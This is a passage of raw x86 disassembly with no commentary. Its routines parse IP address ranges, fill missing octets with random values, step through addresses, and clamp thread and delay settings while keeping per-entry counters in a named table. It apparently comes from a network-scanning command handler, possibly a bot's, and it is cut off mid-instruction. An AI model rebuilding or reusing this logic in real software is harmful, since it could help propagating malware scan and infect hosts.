[esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AC2D3 add esp, 8 retn 8 sub_13CC950 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC980 proc near ; CODE XREF: sub_13ABCEDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13CC980 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC9A0 proc near ; CODE XREF: sub_13ABCE8j mov eax, [ecx] retn sub_13CC9A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC9C0 proc near ; CODE XREF: sub_13ABDABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13ABC2A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13CC9C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC9F0 proc near ; CODE XREF: sub_13ABA31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13ABE78 pop ecx retn 4 sub_13CC9F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCA10 proc near ; CODE XREF: sub_13AC260j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC39B pop ecx retn 4 sub_13CCA10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCA30 proc near ; CODE XREF: sub_13ABE2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13CCA4B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13CCA4B: ; CODE XREF: sub_13CCA30+11j retn sub_13CCA30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCA60 proc near ; CODE XREF: sub_13AC41Dj var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 43B491h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_13AB5CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_13CCAA1 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_13ABA77 loc_13CCAA1: ; CODE XREF: sub_13CCA60+33j mov ecx, [esp+14h+var_10] mov large fs:0, ecx add esp, 10h retn sub_13CCA60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCAD0 proc near ; CODE XREF: sub_13ABEAAj retn sub_13CCAD0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCAF0 proc near ; CODE XREF: sub_13AC2D3j var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 43B4C1h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_13AB5CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_13CCB31 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_13AB8C9 loc_13CCB31: ; CODE XREF: sub_13CCAF0+33j mov ecx, [esp+14h+var_10] mov large fs:0, ecx add esp, 10h retn sub_13CCAF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCB60 proc near ; CODE XREF: sub_13ABE78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_13ABDBA retn sub_13CCB60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCB80 proc near ; CODE XREF: sub_13AC39Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_13CCB80 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCBA0 proc near ; CODE XREF: sub_13ABA77j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_13AB8C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_13CCBA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCBD0 proc near ; CODE XREF: sub_13ABDBAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABE6E test [esp+4+arg_0], 1 jz short loc_13CCBE8 push esi call near ptr 13E0C02h add esp, 4 loc_13CCBE8: ; CODE XREF: sub_13CCBD0+Dj mov eax, esi pop esi retn 4 sub_13CCBD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCC00 proc near ; CODE XREF: sub_13ABEE1j var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_54 = byte ptr -54h var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B508h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov ds:dword_E19BDB, offset dword_444430 call sub_13ABDB5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_13ABBE4 lea ecx, dword_9D0C08[esi] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+50h+var_48] mov [esp+50h+var_10], edi call sub_13AB626 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+74h+var_48] push 1 push edx call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+54h+var_10], 1 call sub_13ABBE4 push eax lea eax, dword_9D0C36[esi] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+5Ch+var_54] mov [esp+5Ch+var_1C], edi call sub_13AB626 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+80h+var_54] push 13h push ecx call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+60h+var_1C], 2 call sub_13ABBE4 lea edx, dword_9D0C64[esi] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+68h+var_60] mov [esp+68h+var_28], edi call sub_13AB626 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+8Ch+var_60] push 1 push eax call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+6Ch+var_28], 3 call sub_13ABBE4 lea ecx, dword_9D0C92[esi] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+74h+var_6C] mov [esp+74h+var_34], edi call sub_13AB626 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+98h+var_54] push 6 push edx call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+78h+var_34], 4 call sub_13ABBE4 add esi, offset dword_9D0CC0 push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+80h+var_60] mov [esp+80h+var_40], edi call sub_13AB626 mov ecx, [esp+80h+var_48] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13CCC00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CCE50 proc near ; CODE XREF: sub_13AB78Ej var_84 = byte ptr -84h var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_54 = dword ptr -54h var_50 = byte ptr -50h var_44 = byte ptr -44h var_38 = byte ptr -38h var_35 = byte ptr -35h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_1C = byte ptr 20h arg_9C = dword ptr 0A0h arg_A0 = dword ptr 0A4h arg_A4 = dword ptr 0A8h arg_A8 = dword ptr 0ACh arg_AC = dword ptr 0B0h arg_B8 = dword ptr 0BCh arg_BC = dword ptr 0C0h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_CC = dword ptr 0D0h arg_D0 = dword ptr 0D4h arg_E0 = dword ptr 0E4h arg_E8 = dword ptr 0ECh arg_F4 = dword ptr 0F8h arg_FC = dword ptr 100h arg_108 = dword ptr 10Ch arg_130 = byte ptr 134h arg_13C = byte ptr 140h arg_148 = byte ptr 14Ch arg_2858 = byte ptr 285Ch arg_4F10 = byte ptr 4F14h arg_762C = dword ptr 7630h arg_7638 = dword ptr 763Ch arg_7644 = dword ptr 7648h arg_7648 = dword ptr 764Ch arg_7654 = dword ptr 7658h arg_7660 = dword ptr 7664h arg_766C = dword ptr 7670h arg_7678 = dword ptr 767Ch arg_7680 = dword ptr 7684h arg_7684 = dword ptr 7688h arg_7690 = dword ptr 7694h arg_7698 = dword ptr 769Ch arg_76B4 = dword ptr 76B8h push 0FFFFFFFFh mov eax, large fs:0 push 43B599h push eax mov eax, 76B4h mov large fs:0, esp call near ptr 13E0C60h push ebx push ebp push esi mov esi, [esp+18h+arg_76B4] mov ebx, ecx push edi mov [esp+1Ch+var_8], ebx lea edi, [esi+7Eh] lea ecx, dword_9D0C08[ebx] call sub_13AB8D3 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz loc_13CCF22 push 3 call sub_13AB883 add esp, 4 test eax, eax jle short loc_13CCEF5 push 3 call sub_13AC18E mov eax, ds:dword_1029D38[eax*8] add esp, 4 push eax call inet_ntoa ; inet_ntoa push eax push offset dword_444678 lea ecx, [esi+2Ah] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 18h mov al, 1 jmp loc_13CD251 ; --------------------------------------------------------------------------- loc_13CCEF5: ; CODE XREF: sub_13CCE50+5Aj lea ecx, [esi+2Ah] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset dword_444660 push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 mov al, 1 jmp loc_13CD251 ; --------------------------------------------------------------------------- loc_13CCF22: ; CODE XREF: sub_13CCE50+48j lea ecx, dword_9D0CC0[ebx] call sub_13AB8D3 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz loc_13CCFC8 mov edi, ds:dword_E19FC0 push offset dword_443600 lea ecx, [esp+28h+var_C] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+30h+arg_7698], 0 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+30h+var_18] mov ebx, eax mov [esp+30h+arg_7698], 0FFFFFFFFh call sub_13AB626 cmp edi, ebx jl loc_13CD5D3 mov edx, ds:dword_44769F push edi push edx push offset dword_444638 lea ecx, [esi+2Ah] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch mov al, 1 jmp loc_13CD251 ; --------------------------------------------------------------------------- loc_13CCFC8: ; CODE XREF: sub_13CCE50+E7j lea ecx, dword_9D0C64[ebx] call sub_13AB8D3 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz short loc_13CD048 push eax push 3 call sub_13AC193 add esp, 8 test eax, eax jle short loc_13CD01D push eax push offset dword_444618 lea ecx, [esi+2Ah] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 18h jmp loc_13CD24F ; --------------------------------------------------------------------------- loc_13CD01D: ; CODE XREF: sub_13CCE50+19Cj lea ecx, [esi+2Ah] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset dword_444600 push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 jmp loc_13CD24F ; --------------------------------------------------------------------------- loc_13CD048: ; CODE XREF: sub_13CCE50+18Dj lea ecx, dword_9D0C36[ebx] call sub_13AB8D3 push eax mov ecx, edi call sub_13AB6EE mov edi, atoi test eax, eax jnz loc_13CD0F4 push 3 call sub_13AB883 add esp, 4 mov ebp, eax lea eax, [esp+2Ch+var_14] mov ecx, esi push offset dword_443600 push 2 push eax call sub_13ABAAE mov ecx, eax mov [esp+38h+arg_7690], 1 call sub_13ABBE4 push eax call edi ; atoi add eax, ebp add esp, 4 cmp eax, 270Fh lea ecx, [esp+38h+var_20] setnle bl mov [esp+38h+arg_7690], 0FFFFFFFFh call sub_13AB626 test bl, bl jz loc_13CD26C push ebp push offset dword_4445DC lea ecx, [esi+2Ah] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 mov ebx, [esp+50h+var_24] add esp, 18h loc_13CD0F4: ; CODE XREF: sub_13CCE50+213j lea ecx, dword_9D0C92[ebx] call sub_13AB8D3 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13CD24F push offset dword_443600 lea eax, [esp+40h+arg_13C] push 1 push eax mov ecx, esi xor ebx, ebx call sub_13ABAAE mov ecx, eax mov [esp+48h+arg_7680], 0Ah call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+48h+arg_130] mov edi, eax mov [esp+48h+arg_7680], 0FFFFFFFFh call sub_13AB626 mov eax, ds:dword_444458 mov [esp+48h+var_35], bl test eax, eax jz short loc_13CD17F mov eax, offset dword_444458 loc_13CD16B: ; CODE XREF: sub_13CCE50+32Dj cmp [eax+8], edi jb short loc_13CD175 mov [esp+48h+var_35], 1 loc_13CD175: ; CODE XREF: sub_13CCE50+31Ej mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_13CD16B loc_13CD17F: ; CODE XREF: sub_13CCE50+314j mov ebp, wsprintfA lea ecx, [esp+48h+arg_2858] push offset dword_4445CC push ecx call ebp ; wsprintfA mov eax, ds:dword_444458 add esp, 8 test eax, eax jz short loc_13CD1E5 mov edi, offset dword_444460 loc_13CD1A5: ; CODE XREF: sub_13CCE50+393j mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+50h+arg_148] push offset dword_4445C0 push eax call ebp ; wsprintfA lea ecx, [esp+58h+arg_148] push 270Fh lea edx, [esp+5Ch+arg_2858] push ecx push edx call strncat ; strncat mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_13CD1A5 loc_13CD1E5: ; CODE XREF: sub_13CCE50+34Ej push ebx lea eax, [esp+4Ch+arg_148] push offset dword_4445B0 push eax call ebp ; wsprintfA lea ecx, [esp+54h+arg_148] push 270Fh lea edx, [esp+58h+arg_2858] push ecx push edx call strncat ; strncat mov al, [esp+60h+var_35] add esp, 18h test al, al jz short loc_13CD23F xor eax, eax lea ecx, [esp+48h+arg_2858] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_13AB8D3 push eax push 0 call sub_13AB923 add esp, 10h loc_13CD23F: ; CODE XREF: sub_13CCE50+3C9j lea edx, [esp+48h+arg_2858] push edx call sub_13AB4D2 add esp, 4 loc_13CD24F: ; CODE XREF: sub_13CCE50+1C8j ; sub_13CCE50+1F3j ... xor al, al loc_13CD251: ; CODE XREF: sub_13CCE50+A0j ; sub_13CCE50+CDj ... mov ecx, [esp+48h+arg_7678] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 76C0h retn 4 ; --------------------------------------------------------------------------- loc_13CD26C: ; CODE XREF: sub_13CCE50+270j push offset dword_443600 lea eax, [esp+3Ch+var_20] push 1 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+44h+arg_7684], 2 call sub_13ABBE4 push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+44h+var_2C] mov [esp+44h+arg_FC], eax mov [esp+44h+arg_7684], ebx call sub_13AB626 push offset dword_443600 lea ecx, [esp+48h+var_2C] push 2 push ecx mov ecx, esi call sub_13ABAAE mov ebp, 3 mov ecx, eax mov [esp+50h+arg_7678], ebp call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+50h+var_38] mov [esp+50h+arg_108], eax mov [esp+50h+arg_7678], ebx call sub_13AB626 push offset dword_443600 lea edx, [esp+54h+var_38] push ebp push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+5Ch+arg_766C], 4 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+5Ch+var_44] mov [esp+5Ch+arg_E8], eax mov [esp+5Ch+arg_766C], ebx call sub_13AB626 mov eax, [esp+5Ch+arg_E8] cmp eax, ebp jnb short loc_13CD349 mov [esp+5Ch+arg_E8], ebp jmp short loc_13CD359 ; --------------------------------------------------------------------------- loc_13CD349: ; CODE XREF: sub_13CCE50+4EEj cmp eax, 3Ch jbe short loc_13CD359 mov [esp+5Ch+arg_E8], 3Ch loc_13CD359: ; CODE XREF: sub_13CCE50+4F7j ; sub_13CCE50+4FCj push offset dword_443600 lea eax, [esp+60h+var_44] push 4 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+68h+arg_7660], 5 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+68h+var_50] mov [esp+68h+arg_E0], eax mov [esp+68h+arg_7660], ebx call sub_13AB626 mov ecx, [esp+68h+arg_E0] mov eax, 270Fh cmp ecx, eax jbe short loc_13CD3B2 mov [esp+68h+arg_E0], eax loc_13CD3B2: ; CODE XREF: sub_13CCE50+559j mov eax, ds:dword_444458 mov [esp+68h+arg_F4], ebx test eax, eax mov [esp+68h+var_54], 0 jz loc_13CD482 mov ebp, offset dword_444458 jmp short loc_13CD3D8 ; --------------------------------------------------------------------------- loc_13CD3D5: ; CODE XREF: sub_13CCE50+608j or ebx, 0FFFFFFFFh loc_13CD3D8: ; CODE XREF: sub_13CCE50+583j push offset dword_443600 lea ecx, [esp+6Ch+var_50] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+74h+arg_7654], 6 call sub_13ABBE4 mov edi, eax lea ecx, [ebp-28h] loc_13CD402: ; CODE XREF: sub_13CCE50+5D0j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_13CD426 test al, al jz short loc_13CD422 mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_13CD426 add ecx, 2 add edi, 2 test al, al jnz short loc_13CD402 loc_13CD422: ; CODE XREF: sub_13CCE50+5BCj xor eax, eax jmp short loc_13CD42A ; --------------------------------------------------------------------------- loc_13CD426: ; CODE XREF: sub_13CCE50+5B8j ; sub_13CCE50+5C6j sbb eax, eax sbb eax, ebx loc_13CD42A: ; CODE XREF: sub_13CCE50+5D4j test eax, eax lea ecx, [esp+74h+var_5C] mov [esp+74h+arg_7654], 0FFFFFFFFh setz bl call sub_13AB626 test bl, bl jnz short loc_13CD460 mov edx, [esp+74h+var_60] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+74h+var_60], edx jnz loc_13CD3D5 jmp short loc_13CD47F ; --------------------------------------------------------------------------- loc_13CD460: ; CODE XREF: sub_13CCE50+5F5j mov ecx, [esp+74h+var_60] mov [esp+74h+arg_E8], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, ds:dword_444458[eax*4] mov [esp+74h+arg_CC], edx loc_13CD47F: ; CODE XREF: sub_13CCE50+60Ej or ebx, 0FFFFFFFFh loc_13CD482: ; CODE XREF: sub_13CCE50+578j mov eax, [esp+74h+arg_CC] test eax, eax jnz short loc_13CD4A0 lea ecx, [esi+2Ah] call sub_13AB8D3 push eax push offset dword_444598 jmp loc_13CD5BB ; --------------------------------------------------------------------------- loc_13CD4A0: ; CODE XREF: sub_13CCE50+63Bj push offset dword_443600 lea edx, [esp+78h+var_5C] push 5 push edx mov ecx, esi call sub_13ABAAE push offset dword_443DE4 mov ecx, eax mov [esp+84h+arg_7648], 7 call sub_13AB7E3 lea ecx, [esp+84h+var_6C] mov edi, eax mov [esp+84h+arg_7644], ebx call sub_13AB626 test edi, edi jz loc_13CD57D push offset dword_443600 lea eax, [esp+88h+var_6C] push 5 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+90h+arg_7638], 8 call sub_13ABBE4 push eax lea ecx, [esp+94h+var_60] push 10h push ecx call _snprintf ; _snprintf add esp, 0Ch lea ecx, [esp+90h+var_78] mov [esp+90h+arg_7638], ebx call sub_13AB626 push offset dword_443600 lea edx, [esp+94h+var_78] push 5 push edx mov ecx, esi call sub_13ABAAE push 78h mov ecx, eax mov [esp+0A0h+arg_762C], 9 call sub_13ABBE4 push eax call strchr ; strchr add esp, 8 lea ecx, [esp+9Ch+var_84] neg eax sbb eax, eax mov [esp+9Ch+arg_762C], ebx neg eax mov [esp+9Ch+arg_D0], eax call sub_13AB626 jmp loc_13CD6AC ; --------------------------------------------------------------------------- loc_13CD57D: ; CODE XREF: sub_13CCE50+68Ej push offset dword_444594 mov ecx, esi call sub_13AB7E3 test eax, eax jnz short loc_13CD5DA push offset dword_444590 mov ecx, esi call sub_13AB7E3 test eax, eax jnz short loc_13CD5DA push offset dword_44458C mov ecx, esi call sub_13AB7E3 test eax, eax jnz short loc_13CD5DA lea ecx, [esi+2Ah] call sub_13AB8D3 push eax push offset dword_444570 loc_13CD5BB: ; CODE XREF: sub_13CCE50+64Bj mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 loc_13CD5D3: ; CODE XREF: sub_13CCE50+13Aj mov al, 1 jmp loc_13CD251 ; --------------------------------------------------------------------------- loc_13CD5DA: ; CODE XREF: sub_13CCE50+73Bj ; sub_13CCE50+74Bj ... mov ecx, ds:dword_E19CDD lea edx, [esp+88h+var_74] lea eax, [esp+88h+var_70] push edx push eax push ecx mov [esp+94h+var_74], 10h call getsockname ; getsockname push offset dword_444590 mov ecx, esi call sub_13AB7E3 mov edx, eax mov eax, [esp+98h+var_7C] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+0A0h+var_7C], eax call inet_ntoa ; inet_ntoa push eax lea eax, [esp+0A4h+var_6C] push eax call strncpy ; strncpy add esp, 0Ch mov ecx, esi push offset dword_444594 call sub_13AB7E3 test eax, eax jz short loc_13CD6A1 push offset dword_444590 mov ecx, esi call sub_13AB7E3 mov ebp, strrchr mov edi, eax neg edi sbb edi, edi lea ecx, [esp+0A4h+var_74] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_13CD694 loc_13CD678: ; CODE XREF: sub_13CCE50+842j test eax, eax jz short loc_13CD694 lea edx, [esp+0A4h+var_74] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_13CD678 loc_13CD694: ; CODE XREF: sub_13CCE50+826j ; sub_13CCE50+82Aj mov [esp+0A4h+arg_C8], 1 jmp short loc_13CD6AC ; --------------------------------------------------------------------------- loc_13CD6A1: ; CODE XREF: sub_13CCE50+7F7j mov [esp+0A0h+arg_CC], 0 loc_13CD6AC: ; CODE XREF: sub_13CCE50+728j ; sub_13CCE50+84Fj mov edx, ds:dword_E19CDD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+0A0h+arg_9C], edx mov [esp+0A0h+arg_C4], 0 mov [esp+0A0h+arg_C8], eax call sub_13ABBE4 push eax lea ecx, [esp+0A4h+var_60] push 80h push ecx call _snprintf ; _snprintf mov eax, [esp+0ACh+arg_CC] add esp, 0Ch test eax, eax mov [esp+0A0h+arg_1C], 0 mov eax, offset dword_444568 jnz short loc_13CD70E mov eax, offset dword_444558 loc_13CD70E: ; CODE XREF: sub_13CCE50+8B7j mov edx, [esp+0A0h+arg_B8] mov ecx, [esp+0A0h+arg_A8] push edx mov edx, [esp+0A4h+arg_A4] push ecx mov ecx, [esp+0A8h+arg_A0] push edx lea edx, [esp+0ACh+var_70] push ecx push edx push eax mov eax, [esp+0B8h+arg_BC] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44443Ah[eax*4] push ecx push offset dword_444508 mov ecx, edi call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 push 0 lea ecx, [esp+0D4h+arg_4F10] push 3 push ecx call sub_13ABFD6 add esp, 3Ch lea edx, [esp+0A0h+var_70] mov [esp+0A0h+arg_AC], eax push edx call sub_13AC661 mov al, 1 jmp loc_13CD251 sub_13CCE50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CDA00 proc near ; CODE XREF: sub_13AB54Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F80 mov ecx, offset dword_4479A8 setnz bl call sub_13AB8D3 push eax push ebx push ebx push offset byte_E19CC5 call sub_13ABC48 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, ds:dword_444460[eax*4] inc ecx mov ds:dword_444460[eax*4], ecx mov al, 1 retn sub_13CDA00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CDA70 proc near ; CODE XREF: sub_13AC1F7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h call getsockname ; getsockname mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset dword_443CD4 push offset dword_102BC90 call wsprintfA ; wsprintfA mov eax, offset dword_102BC90 add esp, 2Ch retn sub_13CDA70 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CDB30 proc near ; CODE XREF: sub_13AC337j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, ds:dword_1029D38[esi*8] push eax call htonl ; htonl inc eax push eax call htonl ; htonl mov ds:dword_1029D38[esi*8], eax pop esi retn sub_13CDB30 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CDB70 proc near ; CODE XREF: sub_13AB531j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_13CDBA2 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_13CDBA2: ; CODE XREF: sub_13CDB70+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset dword_443CD4 push edx call sscanf ; sscanf mov eax, [esp+34h+var_8] mov esi, rand add esp, 18h cmp eax, ebx jnz short loc_13CDBDA call esi ; rand mov [esp+1Ch+var_8], eax loc_13CDBDA: ; CODE XREF: sub_13CDB70+62j cmp [esp+1Ch+var_C], ebx jnz short loc_13CDBE6 call esi ; rand mov [esp+1Ch+var_C], eax loc_13CDBE6: ; CODE XREF: sub_13CDB70+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_13CDBF2 call esi ; rand mov [esp+1Ch+var_10], eax loc_13CDBF2: ; CODE XREF: sub_13CDB70+7Aj mov 